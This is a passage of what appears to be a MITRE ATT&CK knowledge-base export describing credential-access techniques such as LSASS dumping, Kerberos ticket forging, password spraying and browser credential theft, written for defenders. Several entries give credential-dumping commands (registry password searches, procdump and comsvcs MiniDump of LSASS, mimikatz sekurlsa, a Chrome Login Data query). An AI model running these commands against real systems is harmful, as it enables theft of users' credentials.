SAML tokens enable adversaries to authenticate across services that use SAML 2.0 as an SSO (single sign-on) mechanism.(Citation: Cyberark Golden SAML)\n\nAn adversary may utilize [Private Keys](https://attack.mitre.org/techniques/T1552/004) to compromise an organization's token-signing certificate to create forged SAML tokens. If the adversary has sufficient permissions to establish a new federation trust with their own Active Directory Federation Services (AD FS) server, they may instead generate their own trusted token-signing certificate.(Citation: Microsoft SolarWinds Customer Guidance) This differs from [Steal Application Access Token](https://attack.mitre.org/techniques/T1528) and other similar behaviors in that the tokens are new and forged by the adversary, rather than stolen or intercepted from legitimate users.\n\nAn adversary may gain administrative Azure AD privileges if a SAML token is forged which claims to represent a highly privileged account. This may lead to [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Microsoft SolarWinds Customer Guidance)\nT1003.007 | Proc Filesystem | Adversaries may gather credentials from the proc filesystem or `/proc`. The proc filesystem is a pseudo-filesystem used as an interface to kernel data structures for Linux based systems managing virtual memory. For each process, the `/proc//maps` file shows how memory is mapped within the process\u2019s virtual address space. And `/proc//mem`, exposed for debugging purposes, provides access to the process\u2019s virtual address space.(Citation: Picus Labs Proc cump 2022)(Citation: baeldung Linux proc map 2022)\n\nWhen executing with root privileges, adversaries can search these memory locations for all processes on a system that contain patterns that are indicative of credentials, such as looking for fixed strings in memory structures or cached hashes. When running without privileged access, processes can still view their own virtual memory locations. Some services or programs may save credentials in clear text inside the process\u2019s memory.(Citation: MimiPenguin GitHub May 2017)(Citation: Polop Linux PrivEsc Gitbook)\n\nIf running as or with the permissions of a web browser, a process can search the `/maps` & `/mem` locations for common website credential patterns (that can also be used to find adjacent memory within the same structure) in which hashes or cleartext credentials may be located.\nT1555.005 | Password Managers | Adversaries may acquire user credentials from third-party password managers.(Citation: ise Password Manager February 2019) Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk.(Citation: ise Password Manager February 2019)\n\nAdversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory.(Citation: FoxIT Wocao December 2019)(Citation: Github KeeThief) Adversaries may extract credentials from memory via [Exploitation for Credential Access](https://attack.mitre.org/techniques/T1212).(Citation: NVD CVE-2019-3610)\n Adversaries may also try brute forcing via [Password Guessing](https://attack.mitre.org/techniques/T1110/001) to obtain the master password of a password manager.(Citation: Cyberreason Anchor December 2019)\nT1040 | Network Sniffing | Adversaries may sniff network traffic to capture information about an environment, including authentication material passed over the network. Network sniffing refers to using the network interface on a system to monitor or capture information sent over a wired or wireless connection. An adversary may place a network interface into promiscuous mode to passively access data in transit over the network, or use span ports to capture a larger amount of data.\n\nData captured via this technique may include user credentials, especially those sent over an insecure, unencrypted protocol. Techniques for name service resolution poisoning, such as [LLMNR/NBT-NS Poisoning and SMB Relay](https://attack.mitre.org/techniques/T1557/001), can also be used to capture credentials to websites, proxies, and internal systems by redirecting traffic to an adversary.\n\nNetwork sniffing may also reveal configuration details, such as running services, version numbers, and other network characteristics (e.g. IP addresses, hostnames, VLAN IDs) necessary for subsequent Lateral Movement and/or Defense Evasion activities.\n\nIn cloud-based environments, adversaries may still be able to use traffic mirroring services to sniff network traffic from virtual machines. For example, AWS Traffic Mirroring, GCP Packet Mirroring, and Azure vTap allow users to define specified instances to collect traffic from and specified targets to send collected traffic to.(Citation: AWS Traffic Mirroring)(Citation: GCP Packet Mirroring)(Citation: Azure Virtual Network TAP) Often, much of this traffic will be in cleartext due to the use of TLS termination at the load balancer level to reduce the strain of encrypting and decrypting traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)(Citation: SpecterOps AWS Traffic Mirroring) The adversary can then use exfiltration techniques such as Transfer Data to Cloud Account in order to access the sniffed traffic.(Citation: Rhino Security Labs AWS VPC Traffic Mirroring)\n\nOn network devices, adversaries may perform network captures using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `monitor capture`.(Citation: US-CERT-TA18-106A)(Citation: capture_embedded_packet_on_software)\nT1552.002 | Credentials in Registry | Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information: (Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: reg query HKLM /f password /t REG_SZ /s\n* Current User Hive: reg query HKCU /f password /t REG_SZ /s\nT1556.002 | Password Filter DLL | Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. \n\nWindows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. \n\nAdversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.(Citation: Carnal Ownage Password Filters Sept 2013)\nT1558.004 | AS-REP Roasting | Adversaries may reveal credentials of accounts that have disabled Kerberos preauthentication by [Password Cracking](https://attack.mitre.org/techniques/T1110/002) Kerberos messages.(Citation: Harmj0y Roasting AS-REPs Jan 2017) \n\nPreauthentication offers protection against offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002). When enabled, a user requesting access to a resource initiates communication with the Domain Controller (DC) by sending an Authentication Server Request (AS-REQ) message with a timestamp that is encrypted with the hash of their password. If and only if the DC is able to successfully decrypt the timestamp with the hash of the user\u2019s password, it will then send an Authentication Server Response (AS-REP) message that contains the Ticket Granting Ticket (TGT) to the user. Part of the AS-REP message is signed with the user\u2019s password.(Citation: Microsoft Kerberos Preauth 2014)\n\nFor each account found without preauthentication, an adversary may send an AS-REQ message without the encrypted timestamp and receive an AS-REP message with TGT data which may be encrypted with an insecure algorithm such as RC4. The recovered encrypted data may be vulnerable to offline [Password Cracking](https://attack.mitre.org/techniques/T1110/002) attacks similarly to [Kerberoasting](https://attack.mitre.org/techniques/T1558/003) and expose plaintext credentials. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019) \n\nAn account registered to a domain, with or without special privileges, can be abused to list all domain accounts that have preauthentication disabled by utilizing Windows tools like [PowerShell](https://attack.mitre.org/techniques/T1059/001) with an LDAP filter. Alternatively, the adversary may send an AS-REQ message for each user. If the DC responds without errors, the account does not require preauthentication and the AS-REP message will already contain the encrypted data. (Citation: Harmj0y Roasting AS-REPs Jan 2017)(Citation: Stealthbits Cracking AS-REP Roasting Jun 2019)\n\nCracked hashes may enable [Persistence](https://attack.mitre.org/tactics/TA0003), [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), and [Lateral Movement](https://attack.mitre.org/tactics/TA0008) via access to [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: SANS Attacking Kerberos Nov 2014)\nT1558 | Steal or Forge Kerberos Tickets | Adversaries may attempt to subvert Kerberos authentication by stealing or forging Kerberos tickets to enable [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). Kerberos is an authentication protocol widely used in modern Windows domain environments. In Kerberos environments, referred to as \u201crealms\u201d, there are three basic participants: client, service, and Key Distribution Center (KDC).(Citation: ADSecurity Kerberos Ring Decoder) Clients request access to a service and through the exchange of Kerberos tickets, originating from KDC, they are granted access after having successfully authenticated. The KDC is responsible for both authentication and ticket granting. Adversaries may attempt to abuse Kerberos by stealing tickets or forging tickets to enable unauthorized access.\n\nOn Windows, the built-in klist utility can be used to list and analyze cached Kerberos tickets.(Citation: Microsoft Klist)\n\nLinux systems on Active Directory domains store Kerberos credentials locally in the credential cache file referred to as the \"ccache\". The credentials are stored in the ccache file while they remain valid and generally while a user's session lasts.(Citation: MIT ccache) On modern Redhat Enterprise Linux systems, and derivative distributions, the System Security Services Daemon (SSSD) handles Kerberos tickets. By default SSSD maintains a copy of the ticket database that can be found in /var/lib/sss/secrets/secrets.ldb as well as the corresponding key located in /var/lib/sss/secrets/.secrets.mkey. Both files require root access to read. If an adversary is able to access the database and key, the credential cache Kerberos blob can be extracted and converted into a usable Kerberos ccache file that adversaries may use for [Pass the Ticket](https://attack.mitre.org/techniques/T1550/003). The ccache file may also be converted into a Windows format using tools such as Kekeo.(Citation: Linux Kerberos Tickets)(Citation: Brining MimiKatz to Unix)(Citation: Kekeo)\n\n\nKerberos tickets on macOS are stored in a standard ccache format, similar to Linux. By default, access to these ccache entries is federated through the KCM daemon process via the Mach RPC protocol, which uses the caller's environment to determine access. The storage location for these ccache entries is influenced by the /etc/krb5.conf configuration file and the KRB5CCNAME environment variable which can specify to save them to disk or keep them protected via the KCM daemon. Users can interact with ticket storage using kinit, klist, ktutil, and kcc built-in binaries or via Apple's native Kerberos framework. Adversaries can use open source tools to interact with the ccache files directly or to use the Kerberos framework to call lower-level APIs for extracting the user's TGT or Service Tickets.(Citation: SpectorOps Bifrost Kerberos macOS 2019)(Citation: macOS kerberos framework MIT)\n\nT1555 | Credentials from Password Stores | Adversaries may search for common password storage locations to obtain user credentials. Passwords are stored in several places on a system, depending on the operating system or application holding the credentials. There are also specific applications and services that store passwords to make them easier for users to manage and maintain, such as password managers and cloud secrets vaults. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.\nT1552 | Unsecured Credentials | Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. [Bash History](https://attack.mitre.org/techniques/T1552/003)), operating system or application-specific repositories (e.g. [Credentials in Registry](https://attack.mitre.org/techniques/T1552/002)), or other specialized files/artifacts (e.g. [Private Keys](https://attack.mitre.org/techniques/T1552/004)).\nT1556.007 | Hybrid Identity | Adversaries may patch, modify, or otherwise backdoor cloud authentication processes that are tied to on-premises user identities in order to bypass typical authentication mechanisms, access credentials, and enable persistent access to accounts. \n\nMany organizations maintain hybrid user and device identities that are shared between on-premises and cloud-based environments. These can be maintained in a number of ways. For example, Azure AD includes three options for synchronizing identities between Active Directory and Azure AD(Citation: Azure AD Hybrid Identity):\n\n* Password Hash Synchronization (PHS), in which a privileged on-premises account synchronizes user password hashes between Active Directory and Azure AD, allowing authentication to Azure AD to take place entirely in the cloud \n* Pass Through Authentication (PTA), in which Azure AD authentication attempts are forwarded to an on-premises PTA agent, which validates the credentials against Active Directory \n* Active Directory Federation Services (AD FS), in which a trust relationship is established between Active Directory and Azure AD \n\nAD FS can also be used with other SaaS and cloud platforms such as AWS and GCP, which will hand off the authentication process to AD FS and receive a token containing the hybrid users\u2019 identity and privileges. \n\nBy modifying authentication processes tied to hybrid identities, an adversary may be able to establish persistent privileged access to cloud resources. For example, adversaries who compromise an on-premises server running a PTA agent may inject a malicious DLL into the `AzureADConnectAuthenticationAgentService` process that authorizes all attempts to authenticate to Azure AD, as well as records user credentials.(Citation: Azure AD Connect for Read Teamers)(Citation: AADInternals Azure AD On-Prem to Cloud) In environments using AD FS, an adversary may edit the `Microsoft.IdentityServer.Servicehost` configuration file to load a malicious DLL that generates authentication tokens for any user with any set of claims, thereby bypassing multi-factor authentication and defined AD FS policies.(Citation: MagicWeb)\n\nIn some cases, adversaries may be able to modify the hybrid identity authentication process from the cloud. For example, adversaries who compromise a Global Administrator account in an Azure AD tenant may be able to register a new PTA agent via the web console, similarly allowing them to harvest credentials and log into the Azure AD environment as any user.(Citation: Mandiant Azure AD Backdoors)\nT1555.003 | Credentials from Web Browsers | Adversaries may acquire credentials from web browsers by reading files specific to the target browser.(Citation: Talos Olympic Destroyer 2018) Web browsers commonly save credentials such as website usernames and passwords so that they do not need to be entered manually in the future. Web browsers typically store the credentials in an encrypted format within a credential store; however, methods exist to extract plaintext credentials from web browsers.\n\nFor example, on Windows systems, encrypted credentials may be obtained from Google Chrome by reading a database file, AppData\\Local\\Google\\Chrome\\User Data\\Default\\Login Data and executing a SQL query: SELECT action_url, username_value, password_value FROM logins;. The plaintext password can then be obtained by passing the encrypted credentials to the Windows API function CryptUnprotectData, which uses the victim\u2019s cached logon credentials as the decryption key.(Citation: Microsoft CryptUnprotectData April 2018)\n \nAdversaries have executed similar procedures for common web browsers such as FireFox, Safari, Edge, etc.(Citation: Proofpoint Vega Credential Stealer May 2018)(Citation: FireEye HawkEye Malware July 2017) Windows stores Internet Explorer and Microsoft Edge credentials in Credential Lockers managed by the [Windows Credential Manager](https://attack.mitre.org/techniques/T1555/004).\n\nAdversaries may also acquire credentials by searching web browser process memory for patterns that commonly match credentials.(Citation: GitHub Mimikittenz July 2016)\n\nAfter acquiring credentials from web browsers, adversaries may attempt to recycle the credentials across different systems and/or accounts in order to expand access. This can result in significantly furthering an adversary's objective in cases where credentials gained from web browsers overlap with privileged accounts (e.g. domain administrator).\nT1557.003 | DHCP Spoofing | Adversaries may redirect network traffic to adversary-owned systems by spoofing Dynamic Host Configuration Protocol (DHCP) traffic and acting as a malicious DHCP server on the victim network. By achieving the adversary-in-the-middle (AiTM) position, adversaries may collect network communications, including passed credentials, especially those sent over insecure, unencrypted protocols. This may also enable follow-on behaviors such as [Network Sniffing](https://attack.mitre.org/techniques/T1040) or [Transmitted Data Manipulation](https://attack.mitre.org/techniques/T1565/002).\n\nDHCP is based on a client-server model and has two functionalities: a protocol for providing network configuration settings from a DHCP server to a client and a mechanism for allocating network addresses to clients.(Citation: rfc2131) The typical server-client interaction is as follows: \n\n1. The client broadcasts a `DISCOVER` message.\n\n2. The server responds with an `OFFER` message, which includes an available network address. \n\n3. The client broadcasts a `REQUEST` message, which includes the network address offered. \n\n4. The server acknowledges with an `ACK` message and the client receives the network configuration parameters.\n\nAdversaries may spoof as a rogue DHCP server on the victim network, from which legitimate hosts may receive malicious network configurations. For example, malware can act as a DHCP server and provide adversary-owned DNS servers to the victimized computers.(Citation: new_rogue_DHCP_serv_malware)(Citation: w32.tidserv.g) Through the malicious network configurations, an adversary may achieve the AiTM position, route client traffic through adversary-controlled systems, and collect information from the client network.\n\nDHCPv6 clients can receive network configuration information without being assigned an IP address by sending a INFORMATION-REQUEST (code 11) message to the All_DHCP_Relay_Agents_and_Servers multicast address.(Citation: rfc3315) Adversaries may use their rogue DHCP server to respond to this request message with malicious network configurations.\n\nRather than establishing an AiTM position, adversaries may also abuse DHCP spoofing to perform a DHCP exhaustion attack (i.e, [Service Exhaustion Flood](https://attack.mitre.org/techniques/T1499/002)) by generating many broadcast DISCOVER messages to exhaust a network\u2019s DHCP allocation pool. \nT1552.004 | Private Keys | Adversaries may search for private key certificate files on compromised systems for insecurely stored credentials. Private cryptographic keys and certificates are used for authentication, encryption/decryption, and digital signatures.(Citation: Wikipedia Public Key Crypto) Common key and certificate file extensions include: .key, .pgp, .gpg, .ppk., .p12, .pem, .pfx, .cer, .p7b, .asc. \n\nAdversaries may also look in common key directories, such as ~/.ssh for SSH keys on * nix-based systems or C:\Users\(username)\.ssh\ on Windows. Adversary tools may also search compromised systems for file extensions relating to cryptographic keys and certificates.(Citation: Kaspersky Careto)(Citation: Palo Alto Prince of Persia)\n\nWhen a device is registered to Azure AD, a device key and a transport key are generated and used to verify the device\u2019s identity.(Citation: Microsoft Primary Refresh Token) An adversary with access to the device may be able to export the keys in order to impersonate the device.(Citation: AADInternals Azure AD Device Identities)\n\nOn network devices, private keys may be exported via [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `crypto pki export`.(Citation: cisco_deploy_rsa_keys) \n\nSome private keys require a password or passphrase for operation, so an adversary may also use [Input Capture](https://attack.mitre.org/techniques/T1056) for keylogging or attempt to [Brute Force](https://attack.mitre.org/techniques/T1110) the passphrase off-line. These private keys can be used to authenticate to [Remote Services](https://attack.mitre.org/techniques/T1021) like SSH or for use in decrypting other collected files such as email.\nT1557.001 | LLMNR/NBT-NS Poisoning and SMB Relay | By responding to LLMNR/NBT-NS network traffic, adversaries may spoof an authoritative source for name resolution to force communication with an adversary controlled system. This activity may be used to collect or relay authentication materials. \n\nLink-Local Multicast Name Resolution (LLMNR) and NetBIOS Name Service (NBT-NS) are Microsoft Windows components that serve as alternate methods of host identification. LLMNR is based upon the Domain Name System (DNS) format and allows hosts on the same local link to perform name resolution for other hosts. NBT-NS identifies systems on a local network by their NetBIOS name. (Citation: Wikipedia LLMNR)(Citation: TechNet NetBIOS)\n\nAdversaries can spoof an authoritative source for name resolution on a victim network by responding to LLMNR (UDP 5355)/NBT-NS (UDP 137) traffic as if they know the identity of the requested host, effectively poisoning the service so that the victims will communicate with the adversary controlled system. If the requested host belongs to a resource that requires identification/authentication, the username and NTLMv2 hash will then be sent to the adversary controlled system. The adversary can then collect the hash information sent over the wire through tools that monitor the ports for traffic or through [Network Sniffing](https://attack.mitre.org/techniques/T1040) and crack the hashes offline through [Brute Force](https://attack.mitre.org/techniques/T1110) to obtain the plaintext passwords.\n\nIn some cases where an adversary has access to a system that is in the authentication path between systems or when automated scans that use credentials attempt to authenticate to an adversary controlled system, the NTLMv1/v2 hashes can be intercepted and relayed to access and execute code against a target system. The relay step can happen in conjunction with poisoning but may also be independent of it.(Citation: byt3bl33d3r NTLM Relaying)(Citation: Secure Ideas SMB Relay) Additionally, adversaries may encapsulate the NTLMv1/v2 hashes into various protocols, such as LDAP, SMB, MSSQL and HTTP, to expand and use multiple services with the valid NTLM response.\u00a0\n\nSeveral tools may be used to poison name services within local networks such as NBNSpoof, Metasploit, and [Responder](https://attack.mitre.org/software/S0174).(Citation: GitHub NBNSpoof)(Citation: Rapid7 LLMNR Spoofer)(Citation: GitHub Responder)\nT1003.001 | LSASS Memory | Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct [Lateral Movement](https://attack.mitre.org/tactics/TA0008) using [Use Alternate Authentication Material](https://attack.mitre.org/techniques/T1550).\n\nAs well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system.\n\nFor example, on the target host use procdump:\n\n* procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be run using:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\nBuilt-in Windows tools such as comsvcs.dll can also be used:\n\n* rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full(Citation: Volexity Exchange Marauder March 2021)(Citation: Symantec Attacks Against Government Sector)\n\n\nWindows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called.(Citation: Graeber 2014)\n\nThe following SSPs can be used to access credentials:\n\n* Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\n* Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges.(Citation: TechNet Blogs Credential Protection)\n* Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\n* CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.(Citation: TechNet Blogs Credential Protection)\n\nT1110.003 | Password Spraying | Adversaries may use a single or small list of commonly used passwords against many different accounts to attempt to acquire valid account credentials. Password spraying uses one password (e.g. 'Password01'), or a small list of commonly used passwords, that may match the complexity policy of the domain. Logins are attempted with that password against many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying)\n\nTypically, management services over commonly used ports are used when password spraying. Commonly targeted services include the following:\n\n* SSH (22/TCP)\n* Telnet (23/TCP)\n* FTP (21/TCP)\n* NetBIOS / SMB / Samba (139/TCP & 445/TCP)\n* LDAP (389/TCP)\n* Kerberos (88/TCP)\n* RDP / Terminal Services (3389/TCP)\n* HTTP/HTTP Management Services (80/TCP & 443/TCP)\n* MSSQL (1433/TCP)\n* Oracle (1521/TCP)\n* MySQL (3306/TCP)\n* VNC (5900/TCP)\n\nIn addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.(Citation: US-CERT TA18-068A 2018)\n\nIn default environments, LDAP and Kerberos connection attempts are less likely to trigger events over SMB, which creates Windows \"logon failure\" event ID 4625.\nT1056.003 | Web Portal Capture | Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service.\n\nThis variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through [External Remote Services](https://attack.mitre.org/techniques/T1133) and [Valid Accounts](https://attack.mitre.org/techniques/T1078) or as part of the initial compromise by exploitation of the externally facing web service.(Citation: Volexity Virtual Private Keylogging)\nT1003.005 | Cached Domain Credentials | Adversaries may attempt to access cached domain credentials used to allow authentication to occur in the event a domain controller is unavailable.(Citation: Microsoft - Cached Creds)\n\nOn Windows Vista and newer, the hash format is DCC2 (Domain Cached Credentials version 2) hash, also known as MS-Cache v2 hash.(Citation: PassLib mscache) The number of default cached credentials varies and can be altered per system. This hash does not allow pass-the-hash style attacks, and instead requires [Password Cracking](https://attack.mitre.org/techniques/T1110/002) to recover the plaintext password.(Citation: ired mscache)\n\nWith SYSTEM access, the tools/utilities such as [Mimikatz](https://attack.mitre.org/software/S0002), [Reg](https://attack.mitre.org/software/S0075), and secretsdump.py can be used to extract the cached credentials.\n\nNote: Cached credentials for Windows Vista are derived using PBKDF2.(Citation: PassLib mscache)\nT1558.001 | Golden Ticket | Adversaries who have the KRBTGT account password hash may forge Kerberos ticket-granting tickets (TGT), also known as a golden ticket.(Citation: AdSecurity Kerberos GT Aug 2015) Golden tickets enable adversaries to generate authentication material for any account in Active Directory.(Citation: CERT-EU Golden Ticket Protection) \n\nUsing a golden ticket, adversaries are then able to request ticket granting service (TGS) tickets, which enable access to specific resources. Golden tickets require adversaries to interact with the Key Distribution Center (KDC) in order to obtain TGS.(Citation: ADSecurity Detecting Forged Tickets)\n\nThe KDC service runs all on domain controllers that are part of an Active Directory domain. KRBTGT is the Kerberos Key Distribution Center (KDC) service account and is responsible for encrypting and signing all Kerberos tickets.(Citation: ADSecurity Kerberos and KRBTGT) The KRBTGT password hash may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) and privileged access to a domain controller.\nT1649 | Steal or Forge Authentication Certificates | Adversaries may steal or forge certificates used for authentication to access remote systems or resources. Digital certificates are often used to sign and encrypt messages and/or files. Certificates are also used as authentication material. For example, Azure AD device certificates and Active Directory Certificate Services (AD CS) certificates bind to an identity and can be used as credentials for domain accounts.(Citation: O365 Blog Azure AD Device IDs)(Citation: Microsoft AD CS Overview)\n\nAuthentication certificates can be both stolen and forged. For example, AD CS certificates can be stolen from encrypted storage (in the Registry or files)(Citation: APT29 Deep Look at Credential Roaming), misplaced certificate files (i.e. [Unsecured Credentials](https://attack.mitre.org/techniques/T1552)), or directly from the Windows certificate store via various crypto APIs.(Citation: SpecterOps Certified Pre Owned)(Citation: GitHub CertStealer)(Citation: GitHub GhostPack Certificates) With appropriate enrollment rights, users and/or machines within a domain can also request and/or manually renew certificates from enterprise certificate authorities (CA). This enrollment process defines various settings and permissions associated with the certificate. Of note, the certificate\u2019s extended key usage (EKU) values define signing, encryption, and authentication use cases, while the certificate\u2019s subject alternative name (SAN) values define the certificate owner\u2019s alternate names.(Citation: Medium Certified Pre Owned)\n\nAbusing certificates for authentication credentials may enable other behaviors such as [Lateral Movement](https://attack.mitre.org/tactics/TA0008). Certificate-related misconfigurations may also enable opportunities for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004), by way of allowing users to impersonate or assume privileged accounts or permissions via the identities (SANs) associated with a certificate. These abuses may also enable [Persistence](https://attack.mitre.org/tactics/TA0003) via stealing or forging certificates that can be used as [Valid Accounts](https://attack.mitre.org/techniques/T1078) for the duration of the certificate's validity, despite user password resets. Authentication certificates can also be stolen and forged for machine accounts.\n\nAdversaries who have access to root (or subordinate) CA certificate private keys (or mechanisms protecting/managing these keys) may also establish [Persistence](https://attack.mitre.org/tactics/TA0003) by forging arbitrary authentication certificates for the victim domain (known as \u201cgolden\u201d certificates).(Citation: Medium Certified Pre Owned) Adversaries may also target certificates and related services in order to access other forms of credentials, such as [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) ticket-granting tickets (TGT) or NTLM plaintext.(Citation: Medium Certified Pre Owned)\nT1552.003 | Bash History | Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user\u2019s .bash_history file. For each user, this file resides at the same location: ~/.bash_history. Typically, this file keeps track of the user\u2019s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)\nT1552.001 | Credentials In Files | Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.\n\nIt is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)\n\nIn cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)\nT1606.001 | Web Cookies | Adversaries may forge web cookies that can be used to gain access to web applications or Internet services. Web applications and services (hosted in cloud SaaS environments or on-premise servers) often use session cookies to authenticate and authorize user access.\n\nAdversaries may generate these cookies in order to gain access to web resources. This differs from [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) and other similar behaviors in that the cookies are new and forged by the adversary, rather than stolen or intercepted from legitimate users. Most common web applications have standardized and documented cookie values that can be generated using provided tools or interfaces.(Citation: Pass The Cookie) The generation of web cookies often requires secret values, such as passwords, [Private Keys](https://attack.mitre.org/techniques/T1552/004), or other cryptographic seed values.\n\nOnce forged, adversaries may use these web cookies to access resources ([Web Session Cookie](https://attack.mitre.org/techniques/T1550/004)), which may bypass multi-factor and other authentication protection mechanisms.(Citation: Volexity SolarWinds)(Citation: Pass The Cookie)(Citation: Unit 42 Mac Crypto Cookies January 2019)\nT1528 | Steal Application Access Token | Adversaries can steal application access tokens as a means of acquiring credentials to access remote systems and resources.\n\nApplication access tokens are used to make authorized API requests on behalf of a user or service and are commonly used as a way to access resources in cloud and container-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. Adversaries who steal account API tokens in cloud and containerized environments may be able to access data and perform actions with the permissions of these accounts, which can lead to privilege escalation and further compromise of the environment.\n\nIn Kubernetes environments, processes running inside a container communicate with the Kubernetes API server using service account tokens. If a container is compromised, an attacker may be able to steal the container\u2019s token and thereby gain access to Kubernetes API commands.(Citation: Kubernetes Service Accounts)\n\nToken theft can also occur through social engineering, in which case user action may be required to grant access. An application desiring access to cloud-based services or protected APIs can gain entry using OAuth 2.0 through a variety of authorization protocols. An example commonly-used sequence is Microsoft's Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested by the application without obtaining user credentials. \n \nAdversaries can leverage OAuth authorization by constructing a malicious application designed to be granted access to resources with the target user's OAuth token.(Citation: Amnesty OAuth Phishing Attacks, August 2019)(Citation: Trend Micro Pawn Storm OAuth 2017) The adversary will need to complete registration of their application with the authorization server, for example Microsoft Identity Platform using Azure Portal, the Visual Studio IDE, the command-line interface, PowerShell, or REST API calls.(Citation: Microsoft - Azure AD App Registration - May 2019) Then, they can send a [Spearphishing Link](https://attack.mitre.org/techniques/T1566/002) to the target user to entice them to grant access to the application. Once the OAuth access token is granted, the application can gain potentially long-term access to features of the user account through [Application Access Token](https://attack.mitre.org/techniques/T1550/001).(Citation: Microsoft - Azure AD Identity Tokens - Aug 2019)\n\nApplication access tokens may function within a limited lifetime, limiting how long an adversary can utilize the stolen token. However, in some cases, adversaries can also steal application refresh tokens(Citation: Auth0 Understanding Refresh Tokens), allowing them to obtain new access tokens without prompting the user. \n\n\nT1552.006 | Group Policy Preferences | Adversaries may attempt to find unsecured credentials in Group Policy Preferences (GPP). GPP are tools that allow administrators to create domain policies with embedded credentials. These policies allow administrators to set local accounts.(Citation: Microsoft GPP 2016)\n\nThese group policies are stored in SYSVOL on a domain controller. This means that any domain user can view the SYSVOL share and decrypt the password (using the AES key that has been made public).(Citation: Microsoft GPP Key)\n\nThe following tools and scripts can be used to gather and decrypt the password file from Group Policy Preference XML files:\n\n* Metasploit\u2019s post exploitation module: post/windows/gather/credentials/gpp\n* Get-GPPPassword(Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nOn the SYSVOL share, adversaries may use the following command to enumerate potential GPP XML files: dir /s * 